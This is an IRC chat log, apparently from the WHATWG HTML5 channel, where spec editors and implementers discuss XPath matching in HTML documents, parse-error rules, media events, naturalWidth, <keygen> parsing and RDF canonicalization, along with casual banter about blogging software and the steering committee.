[04:08:00.0000] <annevk3>
this HTML5 cheat sheet that's making its rounds on twitter is based on a very old version of HTML5 :/

[04:09:00.0000] <annevk3>
it still has stuff like <datatemplate>

[04:09:01.0000] <Hixie>
i don't even remember what that is

[04:09:02.0000] <othermaciej>
that was for the repetition model

[04:09:03.0000] <Hixie>
the first one or the second one?

[04:09:04.0000] <othermaciej>
that you and hyatt came up with long lng ago to make XForms people happy

[04:09:05.0000] <annevk3>
second

[04:10:00.0000] <Hixie>
ah

[04:10:01.0000] <annevk3>
the one that nobody got

[04:10:02.0000] <annevk3>
apart from Philip` iirc

[04:11:00.0000] <annevk3>
ah fun, the source is w3schools.com

[04:11:01.0000] <annevk3>
didn't see that before

[04:11:02.0000] <othermaciej>
Hixie: you'd have to also remove a case where XPath 1.0 name expressions match

[04:12:00.0000] <Hixie>
"also"?

[04:12:01.0000] <othermaciej>
Hixie: specifically, if you have a situation just like the 6 bullet conditions for the extra match, but the element is in no namespace, the name expression must not match the node, even though XPath 1.0 says it does

[04:13:00.0000] <Philip`>
I think I only got it for an evening and then I forgot how it worked

[04:13:01.0000] <othermaciej>
Hixie: you currently have added a case where XPath 1.0 name expressions must match nodes in an HTML DOM that they wouldn't otherwise

[04:13:02.0000] <othermaciej>
Hixie: but you also left all the old matching intact

[04:14:00.0000] <Hixie>
"you" is the wrong pronoun there

[04:14:01.0000] <othermaciej>
the xpath people want to replace what would have matched instead of adding

[04:14:02.0000] <othermaciej>
well

[04:14:03.0000] <Hixie>
i just pasted this text straight from hsivonen, iirc

[04:14:04.0000] <othermaciej>
maybe hsivonen should propose some new text then

[04:14:05.0000] <Hixie>
i was hoping he might

[04:15:00.0000] <othermaciej>
I think I understand the issue well enough to sort of suggest something, but not enough to be sure it would fit into the XPath spec the right way

[04:15:01.0000] <hsivonen>
Lachy: thanks for finding the textarea bug

[04:16:00.0000] <hsivonen>
Hixie: you need to defined that additionally, an XPath Name expression doesn't match where XPath 1.0 says it would match if

[04:16:01.0000] <hsivonen>
* The mane expression has no namespace

[04:17:00.0000] <hsivonen>
and

[04:17:01.0000] <hsivonen>
* The expression is being tested against an element node

[04:17:02.0000] <hsivonen>
and

[04:17:03.0000] <hsivonen>
* the element's document is an HTML document

[04:18:00.0000] <hsivonen>
s/mane/name/

[04:18:01.0000] <othermaciej>
hsivonen: it seems odd that the XPath folks want what is arguably an even greater violation of XPath 1.0

[04:18:02.0000] <hsivonen>
Hixie's email about MathML and SVG to public-html confuses me

[04:18:03.0000] <hsivonen>
othermaciej: :-)

[04:19:00.0000] <Hixie>
hsivonen: So start a new paragraph that says "However, a name expression must not evaluate to matching a node when the following conditions are met:" then your bullet points?

[04:19:01.0000] <Hixie>
hsivonen: what if both sets of conditions match?

[04:20:00.0000] <othermaciej>
hsivonen: shouldn't you also have a bullet of * the element is in the null namespace

[04:20:01.0000] <othermaciej>
(or "no namespace" or whatever is the right way to express that)

[04:24:00.0000] <hsivonen>
Hixie: oops. you also need othermaciej's point 

[04:24:01.0000] <Hixie>
ok

[04:24:02.0000] <hsivonen>
Hixie: add: and * the element is not in a namespace

[04:24:03.0000] <othermaciej>
that makes the two sets of conditions mutually exclusive

[04:24:04.0000] <hsivonen>
right

[04:26:00.0000] <Hixie>
k

[04:26:01.0000] <Hixie>
checked in

[04:31:00.0000] <Lachy>
Hixie, is it intentional that that the authoring requirements expressed in #character-references for disallowed code points don't match the implementation requirements #tokenizing-character-references?

[04:31:01.0000] <Hixie>
probably not

[04:31:02.0000] <Hixie>
how do they differ?

[04:32:00.0000] <Lachy>
it seems the implementation requirements require parse errors for a lot more characters than are listed in the authoring requirements

[04:32:01.0000] <Lachy>
e.g. U+0001 to U+0008 generate a parse error, but aren't listed in the authoring requirements

[04:33:00.0000] <Hixie>
unintentional; file a bug

[04:34:00.0000] <Lachy>
ok

[04:34:01.0000] <Hixie>
9.1.3 Text is similarly wrong

[04:35:00.0000] <Lachy>
how is that one wrong?

[04:36:00.0000] <Hixie>
doesn't disallow control characters

[04:36:01.0000] <Lachy>
is it supposed to forbid the same character ranges?

[04:36:02.0000] <Lachy>
ok. I'll mention that in the bug

[04:37:00.0000] <Hixie>
thanks

[04:39:00.0000] <Hixie>
/me tries to work out what elements block </li> from seeing the LI node it should close

[04:43:00.0000] <Lachy>
bug filed.

[04:50:00.0000] <Lachy>
why don't people responding to the fakepath thread realise that whatwg is CC'd twice, and that the unnecessary duplicate messages are annoying?

[04:50:01.0000] <annevk3>
why are people responding to that thread in the first place?

[04:50:02.0000] <annevk3>
:p

[04:51:00.0000] <Lachy>
good point :-)

[04:52:00.0000] <othermaciej>
I think I had a valid reason to respond, but my mail client seemed to be smart enough to remove the duplicate Cc

[04:59:00.0000] <foolip>
Hixie: is there any particular reason for "Tidy up how 'abort' and 'emptied' events fire when you call load() while it's already loading."? (http://html5.org/tools/web-apps-tracker?from=3755&to=3756)

[05:00:00.0000] <Hixie>
foolip: the spec was contradictory before, so something had to be fixed; the way i fixed it was to make sure 'abort' doesn't fire until after the element is in a 'not loading' state

[05:00:01.0000] <Hixie>
foolip: (before, one kind of abort would have it be still loading, and the other kind would have it be post-loading)

[05:02:00.0000] <Lachy>
hsivonen, you may want to do something to improve the obviousness of the UI for validator.nu. Apparently someone I know has used it frequently, but never knew he could switch to File Upload or Text Field

[05:04:00.0000] <hsivonen>
Lachy: I am aware that the UI feature is non-obvious

[05:04:01.0000] <hsivonen>
Lachy: It's hard to improve it, because I don't understand why it's not obvious

[05:05:00.0000] <Lachy>
I guess people just see the <select> and read it as a label, and never stop to think what else it might have to offer

[05:05:01.0000] <foolip>
Hixie: hmm, ok. only nuisance is that this is more state to keep track of internally. will try it and see

[05:05:02.0000] <annevk3>
what the W3C has is a lot more explicit

[05:05:03.0000] <Lachy>
and maybe because people don't expect that changing the value of a select field will replace other parts of the UI

[05:06:00.0000] <Lachy>
using a tab like approach, like the w3c validator, might be better

[05:06:01.0000] <Hixie>
foolip: it didn't seem like much state to keep track of, unless i'm missing something

[05:06:02.0000] <hsivonen>
why does OS X reset my default browser to Safari every time I log out and back in?

[05:06:03.0000] <Hixie>
foolip: just one boolean while you reset some variables, no?

[05:07:00.0000] <Lachy>
hsivonen, my guess is there's a corrupted plist somewhere in ~/Library

[05:07:01.0000] <annevk3>
hsivonen, Apple doesn't have a monopoly so they can do evil things? :)

[05:08:00.0000] <hsivonen>
/me wonders which plist to zap

[05:08:01.0000] <Lachy>
I'd start with the com.apple.Safari plist

[05:08:02.0000] <foolip>
Hixie: yes, but this algorithm will "yield" while running the synchronous events, so any "local" state that's kept across a synchronous events must actually be stored globally per element.

[05:08:03.0000] <Lachy>
or find out which plist gets modified when you change the default browser option in Safari's prefs dialog

[05:09:00.0000] <hsivonen>
Lachy: this stuff lives in the legacy Internet Config back end, AFAIK

[05:09:01.0000] <foolip>
Hixie: there are of course lots of such state elsewhere, I'm just saying that it's a nuisance and it's nice to know if it's for a good reason

[05:09:02.0000] <hsivonen>
Lachy: even though Safari is the front end now

[05:09:03.0000] <foolip>
meh, I fail at English

[05:10:00.0000] <hsivonen>
com.apple.internetpref.plist looks promising

[05:10:01.0000] <Hixie>
foolip: ah, yeah, if your sync events aren't just nested event loops, that could be more painful

[05:10:02.0000] <hsivonen>
hmm. wrong plist

[05:11:00.0000] <hsivonen>
ha! there's com.apple.internetconfig.plist that doesn't change and com.apple.internetconfigpriv.plist that changes

[05:11:01.0000] <foolip>
Hixie: right, it's of course all very implementation-specific, I have no idea how other implementors deal with this stuff

[05:13:00.0000] <hsivonen>
still wrong plist

[05:13:01.0000] <hsivonen>
sigh

[05:22:00.0000] <othermaciej>
hsivonen: making the three options visible at once (with tabs for example) would make it more obvious, putting the select in the controls column with its own label would also probably make it more obvious

[05:22:01.0000] <Hixie>
bed time

[05:22:02.0000] <Hixie>
nn

[05:27:00.0000] <hsivonen>
aaargh. the definition of element in scope changed instead of </li> using a new concept

[05:27:01.0000] <hsivonen>
Hixie: thanks for figuring it out in any case

[05:28:00.0000] <Hixie>
i actually did use a new concept

[05:28:01.0000] <Hixie>
i just defined it in terms of the previous concept

[05:28:02.0000] <Hixie>
there were two algorithms that were the same except for a list

[05:28:03.0000] <Hixie>
there are now three the same except for a list

[05:28:04.0000] <Hixie>
and i factored out the common part

[05:28:05.0000] <Hixie>
i thought reuse was better than new things :-)

[05:33:00.0000] <hsivonen>
Hixie: your latest email makes it seem that my earlier reply to Shelley was indeed accurate

[05:35:00.0000] <Hixie>
how so?

[05:36:00.0000] <hsivonen>
Hixie: that the language of where <svg> and <math> are allowed applies only if you invoke an SVG spec and a MathML spec to make those elements allowed anywhere at all and HTML5 itself doesn't make them allowed

[05:37:00.0000] <Hixie>
they're not "non-conforming as far as HTML5 itself goes"

[05:37:01.0000] <hsivonen>
Hixie: what are they if they aren't allowed by HTML5 itself?

[05:37:02.0000] <Hixie>
they're conforming as far as HTML5 itself goes, it just doesn't go far enough to make them conforming in an absolute sense

[05:37:03.0000] <hsivonen>
not-allowed but not non-conforming?

[05:38:00.0000] <Hixie>
i don't think it makes sense to talk about their conformance without invoking the SVG spec

[05:38:01.0000] <Hixie>
and MathML spec

[05:38:02.0000] <hsivonen>
I don't understand what conforming but not in the absolute sense means

[05:39:00.0000] <Hixie>
HTML5 makes them conditionally conforming, the condition being that some other spec defines that they MAY be used

[05:39:01.0000] <hsivonen>
Hixie: right, so if the condition isn't met, they are non-conforming

[05:39:02.0000] <Hixie>
yes, but that's not "non-conforming as far as HTML5 itself goes", it's non-conforming as far as a validator goes.

[05:39:03.0000] <Hixie>
i interpret "non-conforming as far as HTML5 itself goes" to mean that HTML5 says "MUST NOT"

[05:40:00.0000] <hsivonen>
ah

[05:41:00.0000] <Hixie>
to be honest i find this discussion to be somewhat akin to trying to draw on the head of a pin with a piece of chalk

[05:42:00.0000] <Hixie>
which is to say, it's splitting hairs, like you said :-)

[05:43:00.0000] <hsivonen>
Hixie: sure. I just want to know how the extension theory works when the TAG asks about it.

[05:43:01.0000] <hsivonen>
also, I wanted to check that my spec reading skills aren't totally out of order

[05:43:02.0000] <Hixie>
your spec reading skills have a precision greater than my spec writing skills

[05:44:00.0000] <Hixie>
s/precision/resolution/

[05:53:00.0000] <Lachy>
I was just asked again about why <nav> without an heading generates an untitled section in the outline, by a different person from who asked in here yesterday.

[05:53:01.0000] <Lachy>
but he also like the idea of the outline tool outputting an implied default heading like "Navigation"

[05:54:00.0000] <Hixie>
i like that all these people are using the outliner

[05:54:01.0000] <Hixie>
is it helping them catch the issue we were talking about?

[05:54:02.0000] <annevk3>
naturalWidth?

[05:55:00.0000] <Hixie>
if people use it a lot, i'd love to be able to get away without adding an element for it

[05:55:01.0000] <Lachy>
I don't know. This was from Bruce Lawson, who's already aware of the section abuse issue.

[05:57:00.0000] <Lachy>
Hixie, the spec's inline bug reporting tool should output the link to the bug as a clickable link in the page instead of using an alert

[05:58:00.0000] <Hixie>
copy and paste from the alert

[05:58:01.0000] <Hixie>
(i couldn't work out where to put the link)

[05:58:02.0000] <Lachy>
/me wonders if it would be appropiate to file a bug about the bug reporting tool using the bug reporting tool?

[05:58:03.0000] <jgraham>
The bug reporting tool shopuld allow you to have a shorter summary and a longer body

[05:59:00.0000] <Lachy>
the logical place would be to replace the text field with a message that said the bug was filed with a link to the bug

[05:59:01.0000] <jgraham>
Because all the long summaries are pretty annoying

[05:59:02.0000] <annevk3>
IRC should have an /ignore for people complaining about the bug reporting tool

[05:59:03.0000] <Lachy>
and then when the user clicks on another section of the page, the text field is put back so they can file a new bug

[06:00:00.0000] <Hixie>
Lachy: expect it to be WONTFIXed unless it comes with a patch :-)

[06:01:00.0000] <Lachy>
ok. I'll add that to my todo list, along with the redesign of the other spec stuff I'm working on

[06:01:01.0000] <annevk3>
actually, it's INVALID for the HTML WG bug tracker o_O

[06:01:02.0000] <Hixie>
heh

[06:01:03.0000] <annevk3>
anyway, naturalWidth is some IE/Opera extension to <img>?

[06:02:00.0000] <zcorpan>
i thought all browsers had naturalWidth

[06:03:00.0000] <Lachy>
I don't recall ever hearing about naturalWidth/Height before

[06:04:00.0000] <annevk3>
undefined in Opera

[06:05:00.0000] <annevk3>
maybe it works in Firefox/Safari and Hixie annotated the check-in wrong

[06:05:01.0000] <Hixie>
what did i annotate it as?

[06:06:00.0000] <annevk3>
as affecting Firefox/Safari

[06:07:00.0000] <annevk3>
i wonder if we can still rename videoHeight/Width

[06:08:00.0000] <zcorpan>
annevk3: renaming videoWidth was brought up ages ago

[06:08:01.0000] <zcorpan>
iirc

[06:09:00.0000] <annevk3>
it was renamed once

[06:09:01.0000] <zcorpan>
was it?

[06:09:02.0000] <annevk3>
from intrinsicWidth or so

[06:09:03.0000] <zcorpan>
/me can't recall that

[06:10:00.0000] <foolip>
is naturalWidth supposed to be the size in pixels of the image?

[06:11:00.0000] <foolip>
oh I think videoWidth has been renamed or redefined once, can't remember the details though

[06:11:01.0000] <Hixie>
annevk3: it affects firefox safari because they're the ones who implement it

[06:11:02.0000] <Lachy>
foolip, "The IDL attributes naturalWidth and naturalHeight  must return the intrinsic width and height of the image, in CSS pixels, if the image is available, or else 0."

[06:11:03.0000] <Hixie>
ok i really must go to bed now

[06:11:04.0000] <Hixie>
nn

[06:11:05.0000] <foolip>
Lachy: right, like videoWidth

[06:12:00.0000] <annevk3>
I was clearly wrong: http://html5.org/tools/web-apps-tracker?from=684&to=685

[06:12:01.0000] <annevk3>
in any case, it would make sense for them to use the same name

[06:14:00.0000] <zcorpan>
yes, but not essential, and videoWidth has been implemented in 4 browsers (i think) and shipped in two

[06:16:00.0000] <annevk3>
i still think it would be worth it

[06:16:01.0000] <annevk3>
but not enough to fight for

[06:24:00.0000] <hsivonen>
Why does vendor veto of <keygen> by MS receive a different response than vendor veto of Theora by Apple?

[06:25:00.0000] <zcorpan>
because people like Theora, but don't care about <keygen>

[06:27:00.0000] <hsivonen>
unfortunately, I have to care about <keygen>, because the HTML5 parser breaks Gecko's <keygen>, and I think Gecko can't be shipped without <keygen>

[06:27:01.0000] <jgraham>
I wonder what would happen if Microsoft announced that they would not support <video>

[06:27:02.0000] <zcorpan>
i think the simplest thing to do for gecko is to parse <keygen> into a macro of tags like the old parser does

[06:28:00.0000] <hsivonen>
parser macros suck

[06:28:01.0000] <hsivonen>
especially in the C++ land

[06:29:00.0000] <hsivonen>
where doing things differently may always have an effect on memory management strategies

[06:29:01.0000] <zcorpan>
hsivonen: do you think isindex should not be a macro?

[06:29:02.0000] <hsivonen>
zcorpan: well, let's put it this way: the macro has caused crashes due to memory management special cases, and it exposes the parser to string localization issues

[06:30:00.0000] <zcorpan>
i take that as a "yes"

[06:30:01.0000] <zcorpan>
i'm pretty sure isindex does not need to be a macro as far as web compat goes

[06:33:00.0000] <hsivonen>
is Flash supposed to have autoupdate these days? why do I have an old version of Flash?

[06:33:01.0000] <hsivonen>
why isn't Mac OS X software update updating Flash if it's Apple that installed that piece of Internet-exposed software on my computer in the first place

[06:35:00.0000] <annevk3>
hsivonen, it's downgrading it if you updated to Snow Leopard

[06:35:01.0000] <annevk3>
hsivonen, see gruber

[06:35:02.0000] <hsivonen>
/me wonders if preserving attributes on the formatting elements cloned by the AAA is essential for compat

[06:36:00.0000] <hsivonen>
annevk3: I haven't installed Snow Leopard yet

[06:36:01.0000] <hsivonen>
annevk3: waiting for end of quarter or 10.6.1

[06:36:02.0000] <zcorpan>
hsivonen: yes, for <a href> at least

[06:36:03.0000] <hsivonen>
zcorpan: ok

[06:38:00.0000] <hsivonen>
I feel Apple/Adobe are in violation of my trust when it's www.mozilla.org rather than Apple or Adobe that alerts me about Flash updates

[06:38:01.0000] <zcorpan>
mozilla.org uses flash?

[06:39:00.0000] <hsivonen>
zcorpan: no, the page that loads after a Firefox update checks if you have the latest Flash

[06:39:01.0000] <zcorpan>
ah

[06:40:00.0000] <zcorpan>
does it alert if you don't have flash at all?

[06:40:01.0000] <hsivonen>
zcorpan: I haven't tested

[06:40:02.0000] <jgraham>
hsivonen: The lack of competition in the flash-player space obviously makes adobe not care much about competing on security/privacy

[06:40:03.0000] <jgraham>
Or indeed on end-user friendliness in general

[06:41:00.0000] <hsivonen>
maybe some day YouTube and Vimeo work in Firefox/Safari/Opera without plug-ins...

[06:41:01.0000] <hsivonen>
fortunately, I use Flashblock to reduce the attack surface

[06:41:02.0000] <jgraham>
/me would like non-flash non-sucky web based upload to flickr

[06:42:00.0000] <hsivonen>
/me just uses Python

[06:42:01.0000] <jgraham>
Which means being able to select multiple files at once and display a progress bar for the upload

[06:44:00.0000] <hsivonen>
making my Python uploader work from Finder/Nautilus without having to run exiftool separately has been on my todo list for months

[06:44:01.0000] <jgraham>
I typically combine uploading photos with browsing other people's photos so an uploader isn't that useful

[06:45:00.0000] <jgraham>
(also I never upload more than 10 photos at a time)

[06:45:01.0000] <hsivonen>
I have a 9-month backlog to upload...

[06:51:00.0000] <Philip`>
Do RDF/RDFa people not know/care that RDF requires XMLLiterals to be Exclusive Canonical XML?

[06:52:00.0000] <Philip`>
I've not seen anyone talking about that requirement

[06:52:01.0000] <Philip`>
and lots of their examples seem to violate it

[06:52:02.0000] <hsivonen>
Philip`: maybe you should send email

[06:53:00.0000] <hsivonen>
Philip`: though I believe it's a dead letter of the spec

[06:53:01.0000] <hsivonen>
Philip`: even though it's bad in theory not to have that requirement

[06:54:00.0000] <hsivonen>
Philip`: does it need to be exclusively canonical in RDFa or RDF/XML, though, or only in the data model?

[06:54:01.0000] <Philip`>
The problem with sending mail is they might decide that RDFa processors have to implement Exclusive Canonicalisation of XML, which would be annoying

[06:54:02.0000] <hsivonen>
in syntax vs. data model that is

[06:55:00.0000] <erlehmann>
oh, metadata. did you know, i had a wordpress plugin ready when ians mail came in "hey guys, lets talk about microdata again"

[06:55:01.0000] <Philip`>
hsivonen: I think the syntax can do whatever it wants - http://www.w3.org/TR/rdf-concepts/#dfn-rdf-XMLLiteral just restricts the lexical space of the abstract RDF datatype

[06:55:02.0000] <Philip`>
though I assume the syntaxes simply expect the strings in the syntax to be mapped directly onto that lexical space

[06:56:00.0000] <hsivonen>
Philip`: I think it would be architecturally unsound to require RDFa or RDF/XML syntax to be directly canonicalized

[06:56:01.0000] <hsivonen>
Philip`: as opposed to requiring the output of the processor to be

[06:57:00.0000] <Philip`>
hsivonen: True - I was thinking more of the N3/Turtle syntax

[06:58:00.0000] <Philip`>
(I'd expect RDF(a|/XML) to do serialisation into the appropriate form)

[06:59:00.0000] <hsivonen>
Philip`: oh do they have non-exclusively non-canonicalized N3/Turtle examples?

[06:59:01.0000] <Philip`>
(but I wouldn't expect N3 like "<> <blah> "<xml/>"^^http://www.w3.org/1999/02/22-rdf-syntax-ns#XMLLiteral" to be anything other than a direct mapping onto the lexical space)

[06:59:02.0000] <hsivonen>
Philip`: I agree that it's wrong to have non-canonical stuff in N3

[07:00:00.0000] <Philip`>
hsivonen: http://html5.digitalbazaar.com/specs/rdfa.html does, in section 4.2

[07:00:01.0000] <Philip`>
http://www.w3.org/TR/rdfa-syntax/ section 6.3.1.3 doesn't even bother to put the right namespace declarations in the output

[07:02:00.0000] <hsivonen>
Philip`: awesome

[07:02:01.0000] <Philip`>
Test cases like http://www.w3.org/2006/07/SWD/RDFa/testsuite/xhtml1-testcases/0011.sparql explicitly allow non-canonical XML in triples

[07:02:02.0000] <Philip`>
(though at least it requires the namespace declarations)

[07:06:00.0000] <Philip`>
Hixie: Are you watching the public-canvas-api list? (Erik Dahlstrom sent some feedback/questions there, but I don't know if anyone reads the list)

[07:06:01.0000] <Philip`>
/me supposes he should send mail about the XMLLiteral thing, even though it seems exceedingly uninteresting

[07:07:00.0000] <gsnedders>
/me sends plenty of exceedingly uninteresting feedback

[07:09:00.0000] <Philip`>
(Hmm, it seems C14n is somewhat incompatible with RDFa's use of CURIEs, because it only declares namespaces which are "visibly utilized", and CURIEs don't visibly utilize namespaces)

[07:09:01.0000] <gsnedders>
gah. NXEC wifi is being really slow

[07:09:02.0000] <gsnedders>
/me tries Opera Turbo, and finds it does make it quicker

[07:11:00.0000] <hsivonen>
Philip`: does exclusive c14n break qnames-in-content?

[07:13:00.0000] <Philip`>
hsivonen: http://www.w3.org/TR/2002/REC-xml-exc-c14n-20020718/#sec-Limitations

[07:13:01.0000] <Philip`>
i.e. yes, unless you do things to work around the breakage

[07:15:00.0000] <hsivonen>
Philip`: awesome

[07:15:01.0000] <hsivonen>
Philip`: you should definitely send email

[07:16:00.0000] <annevk3>
there's also http://www.w3.org/TR/C14N-issues/

[07:17:00.0000] <gsnedders>
hsivonen: re: your tweet, I guess they assume Flash's auto-updating works itself

[07:17:01.0000] <annevk3>
anyway, isn't c14n just for the XML digital signatures and crap?

[07:17:02.0000] <hsivonen>
gsnedders: Flash has autoupdate?

[07:17:03.0000] <hsivonen>
gsnedders: I've never seen Flash autoupdate itself

[07:17:04.0000] <hsivonen>
annevk3: yes, but it's also required for theoretical purity of N3

[07:17:05.0000] <gsnedders>
hsivonen: It's meant to. Apparently it's rather buggy.

[07:18:00.0000] <hsivonen>
annevk3: if you want to use string comparison on serialization to compare infoset equivalence, you need to canonicalize

[07:19:00.0000] <hsivonen>
annevk3: so if you want equivalent infosets to be equivalent when used as RDF literal values, you need the literals to be canonicalized in the model

[07:20:00.0000] <annevk3>
I see

[07:20:01.0000] <annevk3>
sounds like a lot of fun

[07:32:00.0000] <gsnedders>
/me is trying to write personal statement. oh the fun.

[07:32:01.0000] <Philip`>
Can't you copy-and-paste your old one?

[07:32:02.0000] <Philip`>
Or are you not the same person you once were?

[07:33:00.0000] <gsnedders>
I've changed. I'm a new man.

[07:33:01.0000] <Micheil>
hmm..

[07:33:02.0000] <Micheil>
gsnedders: personal statement.. as in something you would stick in the about page of a website?

[07:34:00.0000] <gsnedders>
Micheil: http://www.ucas.com/students/startapplication/apply10/personalstatement/

[07:35:00.0000] <Micheil>
uh, righteo... so a uni personal statement or something..

[07:35:01.0000] <gsnedders>
Philip`: The opening sentence of my old one is a lie now, "I am a sixth year pupil at Madras College, currently studying Advanced Highers."

[07:35:02.0000] <Philip`>
gsnedders: I thought personal statements were meant to be lies

[07:36:00.0000] <Micheil>
/me thinks of sixth years and immediately thinks of the australian sixth year.. aka, when he was 12 O.o

[07:36:01.0000] <Philip`>
though preferably sufficiently subtle ones so you won't get caught out in short interviews

[07:37:00.0000] <Philip`>
"Ever since I was three years old I have had a yearning and a passion to learn about $SUBJECT" etc

[07:37:01.0000] <jgraham>
"I think I would be good at $SUBJECT"

[07:38:00.0000] <gsnedders>
/me was asked how he got involved in standards on phone interview for Opera

[07:38:01.0000] <gsnedders>
jgraham: Also, I'll spare you having to proof read it this time :P

[07:39:00.0000] <Philip`>
"I got involved in standards because Opera was rubbish and broken and didn't work on any sites and I wanted to try and make it marginally less useless"?

[07:40:00.0000] <Micheil>
gee.. that's nice to opera ;P

[07:40:01.0000] <gsnedders>
No: "Because of annevk2."

[07:40:02.0000] <Philip`>
Micheil: Well, the same applies to all other browsers too :-p

[07:40:03.0000] <Micheil>
yeah

[07:40:04.0000] <jgraham>
I assume gsnedders said "I got into standards because facebook quizzes hadn't been invented yet so I had copious amounts of free time"

[07:41:00.0000] <gsnedders>
jgraham: Hey, stop stalking me on Facebook using other people's accounts! (Or at least one other person!)

[07:43:00.0000] <Micheil>
wow.. it seems amazingly simple to convert a tidy xhtml1.1 document over to html5 style tags

[07:44:00.0000] <Micheil>
jgraham & gsnedders: are you guys both on the html5 / whatwg committee?

[07:45:00.0000] <jgraham>
/me denies being on any committees

[07:45:01.0000] <jgraham>
I am on some mailing lists

[07:45:02.0000] <gsnedders>
/me denies being on any committee… apart from the Habari Project Manangement Committee

[07:45:03.0000] <erlehmann>
Micheil, do it with regexes :D

[07:45:04.0000] <jgraham>
And I am technically a "member" of the HTML-WG

[07:45:05.0000] <gsnedders>
(But equally I am on some mailing lists)

[07:45:06.0000] <jgraham>
But that just means that I'm on a mailing list

[07:45:07.0000] <zcorpan>
there's a committee?

[07:46:00.0000] <erlehmann>
gsnedders, wait, you TOO are one of the habari folks ? they are everywhere now.

[07:46:01.0000] <gsnedders>
zcorpan: sshh! don't mention the committee!

[07:46:02.0000] <Micheil>
oh, committee, member, same thing really

[07:46:03.0000] <jgraham>
Well there is a WHATWG steering group thing

[07:46:04.0000] <gsnedders>
erlehmann: I have been since the days of 0.2 :)

[07:46:05.0000] <gsnedders>
erlehmann: I'm getting less and less happy with the direction of the project though

[07:46:06.0000] <Micheil>
(in other words, smart folks with ideas on making the web better)

[07:47:00.0000] <beowulf>
/me imagines a steering wheel so big it needs a group of people to turn it

[07:47:01.0000] <jgraham>
/me should set up the committee for the eradication of popular PHP-based blogging software

[07:47:02.0000] <erlehmann>
gsnedders, i should be sillent, as i abandoned s9y for WP

[07:47:03.0000] <Philip`>
s/popular //; s/-based blogging software//

[07:47:04.0000] <gsnedders>
jgraham: s/blogging//

[07:47:05.0000] <jgraham>
or CEPPBS for short. Our first meeting will be to discuss getting a better acnonym

[07:48:00.0000] <erlehmann>
jgraham, no. lets call it "The PHP Super Friends"

[07:48:01.0000] <gsnedders>
(or what Philip` said)

[07:48:02.0000] <Micheil>
gsnedders: hmm.. I don't suppose you've heard of a guy.. Matthias Bauer, have you?

[07:48:03.0000] <erlehmann>
moeffju ?

[07:48:04.0000] <Micheil>
yeah

[07:48:05.0000] <erlehmann>
with the green hair ?

[07:48:06.0000] <Micheil>
yeah

[07:48:07.0000] <erlehmann>
as i said, they are everywhere

[07:48:08.0000] <gsnedders>
erlehmann: Half my problems with Habari are things that can't be implemented easily in PHP.

[07:48:09.0000] <Philip`>
beowulf: Maybe it's like a ship, where only one person turns the wheel and everyone else tries to stop the mast falling over

[07:48:10.0000] <Micheil>
erlehmann: well, that proves my little connection in 7 degrees of separation..

[07:48:11.0000] <gsnedders>
erlehmann: http://gsnedders.com/php-grievances

[07:49:00.0000] <gsnedders>
Micheil: Yeah

[07:49:01.0000] <gsnedders>
(Sorry, I have huge lag)

[07:49:02.0000] <erlehmann>
Micheil, no, it only prooves that communities are incestuous.

[07:49:03.0000] <Micheil>
gsnedders: I used to work with him on another site.. a while back, he knows his stuff

[07:49:04.0000] <erlehmann>
okcupid suggests nerds to me, with 96% match. but i know them already :D

[07:50:00.0000] <Micheil>
erlehmann: haha, that's kinda badass.

[07:50:01.0000] <erlehmann>
Micheil, are you one of the web-2-point-oh-germans too ?

[07:50:02.0000] <Micheil>
erlehmann: ah, no. I'm an aussie

[07:50:03.0000] <gsnedders>
Micheil: So do quite a few of us. Quite a lot of us who know stuff are wanting to write our own blogging software in something that isn't PHP :P

[07:51:00.0000] <Micheil>
erlehmann: and I've been around since before web 2.0, just not someone who is known by many people

[07:51:01.0000] <erlehmann>
gsnedders, reimplement bashblogger in zsh !

[07:51:02.0000] <Philip`>
gsnedders: You should write it in C++

[07:51:03.0000] <gsnedders>
erlehmann: No. bash > zsh (mostly)

[07:51:04.0000] <Micheil>
gsnedders: heh, I've been attempting to write something really simple in rails or django recently, just to power my own site

[07:51:05.0000] <erlehmann>
i want a python blogging system.

[07:51:06.0000] <erlehmann>
gsnedders, wat

[07:52:00.0000] <Micheil>
/me dislikes wordpress with a bit of a passion...

[07:52:01.0000] <erlehmann>
Micheil, use pylons

[07:52:02.0000] <Micheil>
erlehmann: I'll look it up

[07:52:03.0000] <gsnedders>
/me thinks WP was fairly good until the days after 2.0, and once wp.com launched

[07:52:04.0000] <erlehmann>
2k lines of COBOL code with plugins in EXPECT.

[07:52:05.0000] <erlehmann>
that would be blogging software

[07:53:00.0000] <erlehmann>
gsnedders, still WP is attractive through cramming all new standards into itself.

[07:53:01.0000] <jgraham>
/me notes pytlons is not blogging software it is just a collection of components that could be used to make blogging software amongst other things

[07:53:02.0000] <jgraham>
*pylons

[07:53:03.0000] <Micheil>
gsnedders: well, in truth, I started part of my career through using wp.com and a small blog there, and then I kept having bugs with wordpress, which seemed to dislike me writing posts — so, I'll roll my own, then I can only blame myself if it doesn't work.

[07:54:00.0000] <gsnedders>
erlehmann: WP? standards?

[07:54:01.0000] <erlehmann>
;_;

[07:54:02.0000] <gsnedders>
erlehmann: http://lists.automattic.com/pipermail/wp-hackers/2007-May/012987.html

[07:54:03.0000] <erlehmann>
forget what i said. i had to write a plugin just to get correct XHTML

[07:55:00.0000] <erlehmann>
and no it was not a theme issue

[07:56:00.0000] <gsnedders>
erlehmann: There are quite a few old bugs in XML stuff, including feeds which are XML.

[07:59:00.0000] <annevk3>
/me is on some WHATWG comittee

[07:59:01.0000] <gsnedders>
annevk3: You and your cabal.

[08:00:00.0000] <annevk3>
there has been no communication since I joined and I'm told that before that all the communication was about me joining...

[08:01:00.0000] <Micheil>
...wow.. the dojo mailing lists are busy tonight...

[08:10:00.0000] <Lachy>
I assume the existence of the whatwg steering committee is just to give the appearance of some kind of organisational structure, while not actually performing any useful functions

[08:12:00.0000] <gsnedders>
/me just wonders why at Hixie's latest blog post

[08:12:01.0000] <annevk3>
we have a useful function

[08:13:00.0000] <annevk3>
the need just isn't there to perform it

[08:13:01.0000] <annevk3>
(fortunately)

[08:19:00.0000] <Micheil>
annevk3: you don't like performing your function?

[08:20:00.0000] <Lachy>
Micheil, the function is to replace the editor if and when he can no longer funcation as an editor

[08:20:01.0000] <Micheil>
that doesn't make a whole lot of sense to me, but anyway

[08:20:02.0000] <Lachy>
basically, when Hixie can't do his job properly, the committee can take action to replace him

[08:20:03.0000] <Micheil>
/me always thought you lot helped write the specs

[08:21:00.0000] <Micheil>
ah, fair enough

[08:21:01.0000] <Lachy>
some of use edit our own specs

[08:21:02.0000] <gsnedders>
And formally whether to take on more work/editors.

[08:21:03.0000] <jgraham>
Some of us just make semi-abusive comments on irc

